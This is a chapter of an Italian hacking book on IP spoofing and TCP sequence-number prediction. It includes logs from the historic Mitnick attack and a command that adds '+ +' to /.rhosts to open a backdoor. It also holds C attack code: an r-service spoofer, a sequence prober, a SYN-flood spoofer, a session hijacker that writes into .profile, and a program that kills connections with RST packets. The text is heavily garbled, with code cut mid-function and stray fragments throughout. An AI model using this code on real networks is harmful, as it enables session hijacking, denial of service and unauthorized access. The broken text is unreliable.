HackerProgrammingBook Part 09
HackerProgrammingBook Part 09
Spoofing
Il termine inglese significa imbrogliare e di fatto lattivit legata allo spoofing appunto quella di imbrogliare i sistemi facendosi credere di essere uno degli host considerati come trust. Sicuramente una delle tecniche pi avanzate nellambito dellhacking in quanto pretende una conoscenza molto buona delo stack del protocollo TCP. Come attivit venne da prima pubblicata sulla carta grazie agli articoli di Steve Bellovin della Bell Laboratories il quale nel 1989 messe sullavviso degli eventuali problemi che il protocollo avrebbe potuto avere. Questa attivit per se stessa sarebbe pi legata al semplice fatto di modificare i dati dentro allheader dei pacchetti inserendo allinterno del campo legato allIP sorgente quello di un IP relativo di un host considerato come fidato. Nellarticolo a cui abbiamo fatto cenno prima, il mondo informatico veniva avvisato del fatto che se in qualche modo ci fosse stata al possibilit di individuare il numero sequenziale usato allinterno degli headers dei pacchetti TCP, allora si sarebbe potuto tranquillamente stabilire una connessione con qualche server facendosi passare per qualche host fidato e questo grazie ad una lacuna dei sistemi Unix. In effetti lopera di falsificazione non solo legata allattivit di sostituzione dei sistemi ma potrebbe anche essere usata per creare degli attacchi DOS. Infatti se gli indirizzi falsificati fossero anche quelli di destinazione sarebbe possibile fare esaurire le risorse di un sistema mediante lutilizzo di indirizzi di broadcast. Attivit pi complesse di quelle che potrebbero essere eseguite soltanto tramite linvio dei pacchetti falsificati richiedono metodi che potrebbero richiedere algoritmi particolari. Sono considerati attacchi di spoofing i seguenti :
Land Teardrop NewTear SynDrop TearDrop2 Bonk Boink Fragment overlap Ping of death IP source route Ping storm smurf ICMP unreachable storm Suspicious router advertisement UDP port loopback snork fraggle SYN flood DNS spoof
Nei capitoli in cui abbiamo parlato dellhandshake dei pacchetti abbiamo visto che allinterno esiste un numero di sequenza il quale dovrebbe essere individuato in tutte quelle attivit in cui si pretende un colloquio tra il server e il client. Infatti questa la parte pi complessa in quelle che sono le attivit di sostituzione degli host. Ogni sistema operativo dispone di metodologie proprie legate alla generazione di questi numeri sequenziali e sempre a riguardo esistono comunque studi di qualsiasi tipo al fine di riuscire a trovare un metodo appropriato per lindividuazione di questi. Lo spoofing si basa sulla supposizione da parte dei servizi offerti dal TCP e dall'UDP che un indirizzo IP sia valido. L'host di un hacker puo' tuttavia utilizzare un routing del codice IP di origine per presentarsi al server nelle vesti di un client valido. Un Hacker pu impiegare il routing dell'IP di origine per
TH_SYN
diff,
0L,
0,
free(buf); } /* When rshd is spoofed, 'data' has to point to command to be * executed. For spoofing rlogind, 'data' points to the * terminal type. */ spoof_rservice(src, dst, remuser, locuser, term, data) struct sockaddr_in *src, *dst; char *remuser, *locuser, *term, *data; { int slen; char *string, *sptr; if((string = malloc(256)) == NULL) return (-1); bzero(string, 256); sptr = string; slen = strlen(data) + strlen(remuser) + strlen(locuser); if(term != NULL) slen += strlen(term) + 1; /* for rlogind */ if(ntohs(dst->sin_port) == 513) { sptr += 1; slen += 4; } /* for rshd */ if(ntohs(dst->sin_port) == 514) { sptr += 2; slen += 5; } /* build data string and send it to r-service */ bcopy(remuser, sptr, strlen(remuser) + 1); sptr += strlen(remuser) + 1; bcopy(locuser, sptr, strlen(locuser) + 1); sptr += strlen(locuser) + 1; if(term != NULL) { bcopy(term, sptr, strlen(term) + 1); sptr += strlen(term) + 1; } bcopy(data, sptr, strlen(data) + 1); bzero(Packet, PACKETSIZE); bcopy(string, Packet + sizeof(struct opacket), slen); gen_tcp_pak((struct opacket *) Packet, src, dst, 64, our_seq, target_seq, slen, TH_ACK | TH_PUSH); send_pak(Packet, sizeof(struct ip) + sizeof (struct tcphdr) + slen, ether); our_seq += slen; free(string); } /* returns value !=0 on success */ test_host(src, dst, myhost) struct sockaddr_in src, dst, myhost; { time_t starttime; struct timeval timeout; unsigned int flag = 0; unsigned int pktlen; timeout.tv_sec = 1; timeout.tv_usec = 0;
from
this
timeout
Lo spoofing pu essere comqunue applicato a diversi sistemi legati ad internet come ad esempio DNS, mail ecc.
version:4, /* version */ ihl:4; /* header length */ u_char tos; /* type of service */ short tot_len; /* total length */ u_short id; /* identification */ short frag_off; /* fragment offset field */ u_char ttl; /* time to live */ u_char protocol; /* protocol */ u_short check; /* checksum */ unsigned long saddr, daddr; /* source and dest address */
}; #endif /* * Pinched from ping.c * ------------------* in_cksum -* Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ;
tcp.th_sum = in_cksum((char *)tcpbuf,sizeof(tcp)+12+datalen); memcpy(packet,(char *)&ip,sizeof(ip)); memcpy(packet+sizeof(ip),(char *)&tcp,sizeof(tcp)); memcpy(packet+sizeof(ip)+sizeof(tcp),(char *)data,datalen); /* printtcppacket(sizeof(ip)+sizeof(tcp)+datalen,packet,addr); */ if (sendto(s,packet,sizeof(ip)+sizeof(tcp)+datalen,0, (struct sockaddr *)addr, sizeof(struct sockaddr_in)) == -1) { perror("sendto"); exit(1); } } void determine_sequence(int s, int r, unsigned long src, unsigned long dest, struct sockaddr_in *addr, unsigned long *next_seq, unsigned long *offset) { struct iphdr *ip; struct tcphdr *tcp; int i, len; unsigned long start_seq=4321965+getpid(); unsigned long start_port=600; char buf[4096]; unsigned long prev_seq=0, diff=0; *offset=0; for (i=0;i<10;i++) { sendtcppacket(s,src,dest,addr,TH_SYN,start_port,514,start_seq,0,NULL,0); for (;;) { gettcppacket(r,buf,sizeof(buf)); ip = (struct iphdr *) buf; if (ip->saddr != dest) continue; /* printtcppacket(sizeof(buf),buf,addr); */ len = ip->ihl << 2; tcp = (struct tcphdr *) (buf+len); if (ntohs(tcp->th_dport)==start_port && ntohs(tcp->th_sport)==514) { if (prev_seq) { diff=tcp->th_seq-prev_seq; printf("(prev=%u, new=%u, diff=%u\n", prev_seq, tcp->th_seq, diff); } else diff=0; if (*offset==0) *offset=diff; else { if (*offset!=diff) printf("Difference in Offset: old=%u, new=%u\n", *offset, diff); *offset=diff; } prev_seq=tcp->th_seq; sendtcppacket(s,src,dest,addr,TH_RST,start_port++,514,start_seq+ +,0,NULL,0);
Ogni computer connesso ad una rete TCP/IP durante una comunicazione allega al propio pacchetto l'indirizzo IP di comunicazione e un numero univoco chiamato numero di sequenza. L'hacker esegue l'attacco a previsione del numero di sequenza TCP/IP in due fasi. Nella prima fase l'hacker cerca di determinare l'indirizzo IP del server, generalmente mettendosi in ascolto dei pacchetti Internet, provando a specificare in ordine vari numeri di host oppure connetendosi al sito mediante un browser Web e osservando l'indirizzo IP nella barra di stato (attraverso il comando nslookup si pu avere la traduzione dagli indirizzi IP numerici a quelli a stringa e viceversa). Ad esempio, se un sistema ha l'indirizzo IP 192.0.0.15,l'hacker, sapendo che in una rete C vi possono essere fino a 256 computer, potr cercare di indovinare i loro indirizzi modificando unicamente l'ultimo byte. Dopo che l'hacker avr iniziato a trovare gli indirizzi della rete, inizier anche a controllare i numeri di sequenza dei pacchetti che si trasmettono tali computer. Dopo aver monitorizzato le trasmissioni della rete, l'hacker cercher di prevedere il prossimo numero di sequenza che verr generato dal server e quindi fornir un proprio pacchetto con tale numero di sequenza inserendosi fra il server e l'utente. Poich l'hacker ha gi l'indirizzo IP del server, pu in realt generare pacchetti con i numeri di sequenza corretti e indirizzi IP che gli consentono di intercettare le trasmissioni con l'utente. Dopo che l'hacker ha avuto accesso al sistema tramite questo attacco, pu accedere alle informazioni che il sistema di comunicazione trasmette al server,inclusi file di password,nomi di login,dati riservati ed ogni altra informazione trasmessa in rete. In genere questo attacco viene usato come base per l'attacco di un altro server della rete. Nel capitolo seguente vedremo questo attacco dal punto di vista pratico riportando quello che fu un attacco storico mediante questa metodologia. Dobbiamo stare attenti quando parliamo di cose storiche in quanto la realt dei nostri giorni potrebbe essere leggeremente differente e non solo leggermente. Questo protocollo viene usato per stabilire connessioni bidirezionali via rete, e per trasferire quantit di dati elevati attraverso anche a protocolli di livello applicazioni come telnet, http, ftp. TCP a differenza degli altri protocolli della suite come ICMP o UDP, stabilisce una connessione reale fra le parti che devono comunicare; una volta stabilita la connessione, vengono trasmessi dati che verranno successivamente confermati attraverso numeri di sequenza costruiti nel seguente modo: Nella fase iniziale della connessione (handshake) il client contatta il server e gli propone un suo numero di sequenza, il server risponde con un ack sul numero di sequenza appena ricevuto e propone un suo numero di sequenza iniziale, che verr successivamente confermato dal client:
Connessione TCP HANDSHAKE client server --| | SYN (SEQ= x) | | | | -------------------------> | | | | | | | | SYN (SEQ= y, ACK= x+1) | | | | <------------------------ | | | | | | | | SYN (SEQ= x+1, ACK= y+1) | | | | -------------------------> | | | | | | | | | | --Ricordiamoci che TCP un protocollo sliding windows, o in italiano a finestra rotante, come lo era, per quelli che si ricordano i vecchi BBS, un protocollo come Zmodem. Ogni pacchetto TCP contiene un numero di sequenza (primo byte) e un numero di acknowledgment (ultimo byte. Questo sistema dello sliding windows stato implementato per rendere il protocollo pi efficiente.
Il discorso dellefficienza legato a diversi fattori anche se quello pi importante dato dal fatto che i protocolli di questo tipo utilizzano la banda in un modo pi efficiente, dato che viene permessa la trasmissione di pi pacchetti prima che venga richiesto lacknowledgment. I numeri di sequenza successivi a quelli della connessione vengono costruiti in base ai byte ricevuti, ovvero se ho ricevuto 13 byte, il prossimo numero di sequenza sar la somma del numero di sequenza precedente pi il numero di byte ricevuti + 1 ( seq= seq_prec + 13 + 1 ). Abbiamo visto che il numero di sequenza iniziale contenuto nel primo pacchetto che ha attivo il flag SYN, che indica l'inizio di una connessione TCP; altri flag utilizzati nel protocollo TCP sono PUSH, che indica al protocollo TCP di inviare i dati immediatamente senza aspettare altri dati; abbiamo poi il flag RESET, che indica di resettare la connessione immdiatamente e infine il flag FIN che indica la fine della connessione.Inoltre bisogna tener conto che dopo un certo tempo che il messaggio viene spedito e non si ha riscontro, allora viene ritrasmesso, quindi ad ogni trasmissione viene associato un timer; inoltre quando una macchina riceve un pacchetto ritrasmette indietro un riscontro per l'avvenuta ricezione. Un altro sorgente indirizzato alindividuazione del numero di sequenza il seguente :
/* This source is subject to the GNU PUBLIC LICENSE. It can be used freely
#include "ipbpf.h" /* Include ipbpf header */ #define BADHOST "16.17.18.19" /* The host to spoof flooding the trusted * host's destination port from. This host shouldn't exist, but should have * correct routing entries. The important part is so that returned packets * go to nowhere. */ #define NUMSEQUENCE 80 /* The number of connections to spoof from BADHOST. I made this big. * I've found 4.4BSD will be flooded with only 8 unacked connections. Your * mileage may vary */ #define NUMTESTS 10 /* How many samples of the sequence numbers do you want to take? * I randomly picked 10 and only take the last result. If I wanted to be * elegant, I'd do some sort of statistical average. Sequence numbers * are generally updated by a fixed number, this attempts to compute * this number taking into account average network lag. Fixed sequence * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and * probably others, although I haven't tested them. */ #define ROUTER "router.EnGarde.com" /* The name of your router to the outside world. Spoofed packets need to * be sent to it's ether/fddi address in order to get to the outside world. */ main(argc, argv) int argc; char *argv[]; {
in
Offset:
L scopo apparente di questa indagine era quello di determinare se esistevano delle relazioni trust allinterno dei sistemi che possano essere attaccati con un IP spoofing attack. Come abbiamo gi visto in altri capitoli le funzioni di fingeprinting eseguite su dei sistemi hanno come scopo quello di ritornare la maggior quantit possibile di informazioni su un account. Una funzione di finger eseguite come client emette una query verso un host utilizzando il protocollo finger per vedere se un utente loggato sul sistema. In altre parole, come abbiamo gi detto, la funzione di finger riporta lo username di un target, la data a dellultimo login, la directory home e tutte le altre informazioni legate allutente stesso. I comandi showmount e rpcinfo necessitano dei permessi di root per la loro attivazione sulla macchina attaccante. Ad esempio il comando showmount mostra se un sistema condivide delle directory utilizzando NFS: showmount e host
Nel caso di quellattacco Tsutomu identific 20 tentativi di connessione provenienti da apollo.it.luc.edu diretti al x-terminal.shell. Lo scopo di questi tentativi era quello di determinare il comportamento del generatore di sequenza TCP relativa a x-terminal's. Dopo aver tentato per 20 volte di connettersi lattaccante registra i pacchetti che riceve indietro. Notate che il numero iniziale incrementa di un unit ad ogni connessione, il che denota che i pacchetti SYN non vengono generati dallimplementazione TCP del sistema. Notate anche che I pacchetti SYN-ACK del X-terminal possiedono un analogo incremento:
14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096 14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096 14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0 14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096 14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096 14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
I numeri sequenziali sono quelli messi in reverse. Notate che ogni pacchetto SYN-ACK inviato da x-terminal possiede un numero iniziale di sequenza che di 128,000 maggiore di quello precedente. Quando aggiungiamo questo numero magico al numero squenziale riusciamo ad ottenere il successivo numero sequenziale da usare. Vediamo ora un SYN forgiato (connection request), presubilmente dal server.login indirizzato a x-terminal.shell. Lassunzione che x-terminal probabilmente rende trust il server server, in modo che xterminal possa eseguire qualsiasi cosa che il server richieda (o qualsiasi cosa che venga richiesto da qualche duno mascherato da server) . x-terminal replica al server con un SYN-ACK, il quale deve essere ACK-ato per fare in modo che la connessione sia aperta. Normalmente il numero di sequenza dal SYN-ACK richiesto al fine di generare un ACK valido. Tuttavia lattaccante in grado di predire il numero di sequenza contenuto nel SYN-ACK basato sul comportamentp conosciuto del generatore di seuenze TCP di x-terminal, e quindi capace di creare lACK al SYN-ACK senza vederlo.:
14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096
La macchina che esegue lo spoofing ora possiede una connessione a una via alla xterminal.shell che appare essere del server.login. Esso pu mantenere la connessione e inviare dati a patto che possa creare lACK corretto relativo a qualsiasi dato inviato dal x-terminal. Questo invia il seguente :
14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096
il quale corrisponde a:
14:18:37 server# rsh x-terminal "echo + + >>/.rhosts" Il tempo totale passato dal primo pacchetto falsificato minire di 16 secondi. La connessione falsificata ora rilasciata:
14:18:41.347003 14:18:42.255978 14:18:43.165874 14:18:52.179922 14:18:52.236452 server.login server.login server.login server.login server.login > > > > > x-terminal.shell: x-terminal.shell: x-terminal.shell: x-terminal.shell: x-terminal.shell: . . F R R ack 2 win 4096 ack 3 win 4096 32:32(0) ack 3 win 4096 1382727043:1382727043(0) win 4096 1382727044:1382727044(0) win 4096
A questo punto le connessioni hal open che riempivano la coda del computer a cui veniva data fiducia devono essere chiuse mediante linvio di pacchetti con il flag FIN oppure con quello RST attivo. Ora vediamo RSTs a resettare la connessione mezza aperta e svuotare la coda relativa alla connessione con server.login:
14:18:52.298431 14:18:52.363877 14:18:52.416916 14:18:52.476873 14:18:52.536573 14:18:52.600899 14:18:52.660231 14:18:52.717495 14:18:52.776502 14:18:52.836536 14:18:52.937317 14:18:52.996777 14:18:53.056758 14:18:53.116850 14:18:53.177515 14:18:53.238496 14:18:53.297163 14:18:53.365988 14:18:53.437287 14:18:53.496789 14:18:53.556753 14:18:53.616954 14:18:53.676828 14:18:53.736734 14:18:53.796732 14:18:53.867543 14:18:53.917466 14:18:53.976769 14:18:54.039039 14:18:54.097093 130.92.6.97.600 130.92.6.97.601 130.92.6.97.602 130.92.6.97.603 130.92.6.97.604 130.92.6.97.605 130.92.6.97.606 130.92.6.97.607 130.92.6.97.608 130.92.6.97.609 130.92.6.97.610 130.92.6.97.611 130.92.6.97.612 130.92.6.97.613 130.92.6.97.614 130.92.6.97.615 130.92.6.97.616 130.92.6.97.617 130.92.6.97.618 130.92.6.97.619 130.92.6.97.620 130.92.6.97.621 130.92.6.97.622 130.92.6.97.623 130.92.6.97.624 130.92.6.97.625 130.92.6.97.626 130.92.6.97.627 130.92.6.97.628 130.92.6.97.629 > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: R R R R R R R R R R R R R R R R R R R R R R R R R R R R R R 1382726960:1382726960(0) 1382726961:1382726961(0) 1382726962:1382726962(0) 1382726963:1382726963(0) 1382726964:1382726964(0) 1382726965:1382726965(0) 1382726966:1382726966(0) 1382726967:1382726967(0) 1382726968:1382726968(0) 1382726969:1382726969(0) 1382726970:1382726970(0) 1382726971:1382726971(0) 1382726972:1382726972(0) 1382726973:1382726973(0) 1382726974:1382726974(0) 1382726975:1382726975(0) 1382726976:1382726976(0) 1382726977:1382726977(0) 1382726978:1382726978(0) 1382726979:1382726979(0) 1382726980:1382726980(0) 1382726981:1382726981(0) 1382726982:1382726982(0) 1382726983:1382726983(0) 1382726984:1382726984(0) 1382726985:1382726985(0) 1382726986:1382726986(0) 1382726987:1382726987(0) 1382726988:1382726988(0) 1382726989:1382726989(0) win win win win win win win win win win win win win win win win win win win win win win win win win win win win win win 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096
server.login ra pu accettare connessioni. Dopo che stata acquisito laccesso come root grazie all IP address spoofing, un modulo kernel chiamato "tap-2.01" viene compilato e installato su x-terminal:
x-terminal% modstat Id Type Loadaddr 1 Pdrv ff050000 Size 1000 B-major C-major 59. Sysnum Mod Name tap/tap-2.01 alpha
Questo appare essere un modulo del kernel STREAMS il quale pu essere inserito allinterno dello STREAMS stack esistente e usato per acquisire il controllo di un tty device. Questo viene usato per prendere il controllo di una sessione di login gi autenticata. Questa tecnica viene anche chiamata Hijacking. Il seguente programma in C lesempio di questa tecnica.
/**************************************************************************/ /* Hijack - Example program on connection hijacking with IP spoofing */ /* (illustration for 'A short overview of IP spoofing') */
/* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" /* first ethernet device */ #define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */ #define PERSONAL_TOUCH int fd_receive, fd_send; char CLIENT[100],SERVER[100]; int CLIENT_P; void main(int argc, char *argv[]) { int i,j,count; struct sp_wait_packet attack_info; unsigned long sp_seq ,sp_ack; unsigned long old_seq ,old_ack; unsigned long serv_seq ,serv_ack; /* This data used to clean up the shell line */ char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a}; char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n"; if(argc!=4) { printf("Usage: %s client client_port server\n",argv[0]); exit(1); 666
Prima abbiamo gi spiegato il concetto ma in ogni caso penso che possiamo rivederlo in un altro modo. Sicuramente per concetti complessi come nel caso dello spoofing non sono mai parole sciupate. Abbiamo anche detto che negli ambienti Unix la creazione di relazioni TRUST possono essere fatte facilmente. Per fare questo supponiamo di avere un account sulla macchina A: e sulla macchina B: Al fine di facilitare le comunicazioni tra le due vogliamo creare una connessione full duplex legata ad una relazione trust. Nella home directory di A: creiamo il file .rhost Nella directory home di B: invece ecreaamo un altro file .rhost. A questo punto possiamo utilizzare i vari comandi r(login, ecc.) senza dover usare tutte le volte un meccanismo di autenticazione. Uno dei vari comandi r appunto rlogin . Questo un protocollo basato su una connessione client-server utilizzante TCP come metodo di trasporto. login permette ad un utente remoto di eseguire un login tra un host ed un altro senza dover tutte le volte inserire la password. Il discorso sul meccanismo di handshake di questo protocollo lo abbiamo visto nelle pagine precedenti. Il problema quindi sarebbe ora quello di usare una utility in grado di creare pachetti con contenuti manipolabili. Precedentemente abbiamo riportato due sorgenti in grado di svolgere delle funzioni nellambito dello spoofing. Nei capitoli precedentei abbiamo anche visto come COMMVIEW in grado di eseguire la costruzione di alcuni pacchetti ma sicuramente la manipolazione di questi mediante questo
Una volta che viene individividuato lhost trusted questo deve essere disabilitato, come abbiamo detto prima, mediante una procedura DOS ovvero inviando un flusso di TCP SYN.
Gli steps per creare una connessione tramite il protocollo TCP sono in pratica tre : 1 Viene spedito un pacchetto TCP con il flag SYN impostato, ACK a zero e un valore X nel sequence number 2 Il server risponde con tutti e due i flag SYN e ACK impostati e con il SEQUENCE NUMBER impostato con un valore Y e Acknowledgment a valore X. 3 Il client risponde con il flag ACK, con il SEQUENXE NUMBER a X+1 e con ACKNOWLEDGMENT a Y+1 Volendolo raffigurare in formato grafico potremmo farlo con : SYN=1 ACK=0 SEQ-NUM=X CLIENT ----------------------------------- > SERVER SYN=1 ACK=1 SEQ-NUM=X ACK-NUM=X+1 CLIENT ----------------------------------- SERVER ACK=1 SEQ=-NUM=X+1 ACK-NUM=Y+1 CLIENT ----------------------------------- SERVER Soltanto dopo che la connessione stata inizializzata allora sar possibile trasmettere i dati. Il protocollo TCP possiede dei meccanismi mediante i quali pu eseguire le funzionalit classiche dei protocolli a finestre rotanti. In altre parole penso che sia inutile dire che una delle funzioni principali di questi di fatto il recupero dele informazioni giunte con errori interni. Chiaramente un'altra problematica quella legata al riassemblaggio delle finestre giunte con sequenze differenti da quella puramente sequenziale. I dati inviati tramite protocollo TCP possono arrivare anche con ordini differenti da quelli dinvio. La possibilit di poter ricostruire questa sequenza offerta appunto dalla presenza di questo numero sequenziale mentre la ritrasmissione dei pacchetti trasmessi pu essere richiesta mediante lacknowledgment number il quale indica il numero del prossimo byte atteso. Vediamo un esempio pratico :
SISTEMA SISTEMA SISTEMA SISTEMA A A A A ----SEQ-NUM=1000 SEQ-NUM=5000 SEQ-NUM=1100 SEQ-NUM=5250 ACK-NUM=5000 ACK-NUM=1100 ACK-NUM=5250 ACK-NUM=1250 DATI=100 bytes ---- DATI=250 bytes -----DATI=250 bytes ---- DATI=0 bytes -------SISTEMA SISTEMA SISTEMA SISTEMA B B B B
Linvio di un pacchetto con il flag FIN alzato indica al destinatario che non ci sono pi dati da spedire per cui dopo che questo viene confermato la connessione viene chiusa. Al contrario di questo il flag RST viene utilizzato per reinizializzare la comunicazione che per qualsiasi motivo diventata instabile. Fate attenzione che la ricezione di questo flag alzato potrebbe indicare un problema della connessione. A questo punto vedendo la manipolazione che il protocollo TCP esegue sui flags interni agli header dei pacchetti facile comprendere come lalterazione voluta di questi valori con il pi la modifica degli indirizzi di sorgente e di destinazione possa di fatto essere il modo con cui possibile creare attacchi di IP Spooifing, come abbiamo gi visto precedentemente. Questa parte vuole solo aggiungere alcuni concetti a quanto gi visto.
Supponiamo che tra gli host A e B ci sia una connessione e che lattaccante si trovi nella postazione C. Per cercare di resettare la connessione lattaccante dovr attendere di ricevere un pacchetto salla connessione A-B. Partendo dal presupposto che riceva un pacchetto da B verso A, egli calcoler il SEQUENCE NUMBER a partire dallACKNOWLEDGEMENT del pacchetto ricevuto., poi costruir e spedir un pacchetto con le seguenti impostazioni: Campi del pacchetti IP: IP sorgente = A (IP spooffato) IP destinazione = B Campi del pacchetto TCP Porta sorgente = Porta usata dallhost A Porta destinazione = Porta usata dallhost B Sequence number contenente il valore calcolato Flag RST impostato In questo modo viene resettata la connessione. Il sorgente implementa questa metodologia.
/**************************************************************************/ /* Sniper-rst - Example program on connection killing with IP spoofing */ /* Using the RST flag. */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - Killing any TCP connection on your subnet */
#define IO_HANDLE 1 #define IO_NONBLOCK 2 int DEV_PREFIX = 9999; sig_atomic_t WAIT_PACKET_WAIT_TIME=0; /**** IO_HANDLE ************************************************************/ int rc_fd_abc123; sig_atomic_t RC_FILTSET=0; char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */ sig_atomic_t SP_DATA_BUSY=0; unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0; unsigned int CUR_DATALEN; unsigned short CUR_FLAGS; / ***************************************************************************/ struct sp_wait_packet { unsigned long seq,ack; unsigned short flags; int datalen; }; /* Code #define #define #define #define #define #define from Sniffit - BTW my own program.... no copyright violation here */ URG 32 /* TCP flags */ ACK 16 PSH 8 RST 4 SYN 2 FIN 1
struct PACKET_info { int len, datalen; unsigned long int seq_nr, ACK_nr; u_char FLAGS; }; struct IP_header { unsigned unsigned unsigned unsigned unsigned }; /* The IPheader (without options) */ char verlen, type; short length, ID, flag_offset; char TTL, protocol; short checksum; long int source, destination;
struct TCP_header /* The TCP header (without options) */ { unsigned short source, destination; unsigned long int seq_nr, ACK_nr; unsigned short offset_flag, window, checksum, urgent;
struct pseudo_IP_header /* The pseudo IP header (checksum calc) */ { unsigned long int source, destination; char zero_byte, protocol; unsigned short TCP_UDP_len; }; /* data structure for argument passing */ */
struct sp_data_exchange { int fd; /* Sh!t from transmit_TCP char *data; int datalen; char *source; unsigned short source_port; char *dest; unsigned short dest_port; unsigned long seq, ack; unsigned short flags; char *buffer; int IP_optlen; int TCP_optlen; }; /* work buffer */ /* IP options length in bytes */ /* TCP options length in bytes */
/**************** all functions *******************************************/ void transmit_TCP (int fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags); void transmit_UDP (int sp_fd, char *sp_data, int ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port); int get_packet (int rc_fd, char *buffer, int *, unsigned char*); int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int); static unsigned long sp_getaddrbyname(char *); int open_sending (void); int open_receiving (char *, char); void close_receiving (void); void sp_send_packet (struct sp_data_exchange *, unsigned char); void sp_fix_TCP_packet (struct sp_data_exchange *); void sp_fix_UDP_packet (struct sp_data_exchange *); void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char); unsigned short in_cksum(unsigned short *, int ); void rc_sigio (int); void set_filter (char *, unsigned short, char *, unsigned short); /********************* let the games commence ****************************/ static unsigned long sp_getaddrbyname(char *sp_name)
/* TCP */ /* UDP */
sp_help_ip = (struct IP_header *) (sp->buffer); sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4); sp_help_ip->type = 0; sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp>IP_optlen+sp->TCP_optlen); sp_help_ip->ID = htons(12545); /* TEST */ sp_help_ip->flag_offset = 0; sp_help_ip->TTL = 69; sp_help_ip->protocol = proto; sp_help_ip->source = sp_getaddrbyname(sp->source); sp_help_ip->destination = sp_getaddrbyname(sp->dest); sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer), IP_HEAD_BASE+sp->IP_optlen); #ifdef DEBUG printf("IP header fixed...\n"); #endif } void sp_fix_TCP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct TCP_header *sp_help_tcp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i<MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags); sp_help_tcp->seq_nr = htonl(sp->seq); sp_help_tcp->ACK_nr = htonl(sp->ack); sp_help_tcp->source = htons(sp->source_port); sp_help_tcp->destination = htons(sp->dest_port); sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */ sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 6; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp>TCP_optlen);
sp_fix_TCP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 6); sp_send_packet(&sp_struct, 6); } void sp_fix_UDP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct UDP_header *sp_help_udp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;i<MTU;i++) {sp_pseudo_ip_construct[i]=0;} sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_udp->source = htons(sp->source_port); sp_help_udp->destination = htons(sp->dest_port); sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE); sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
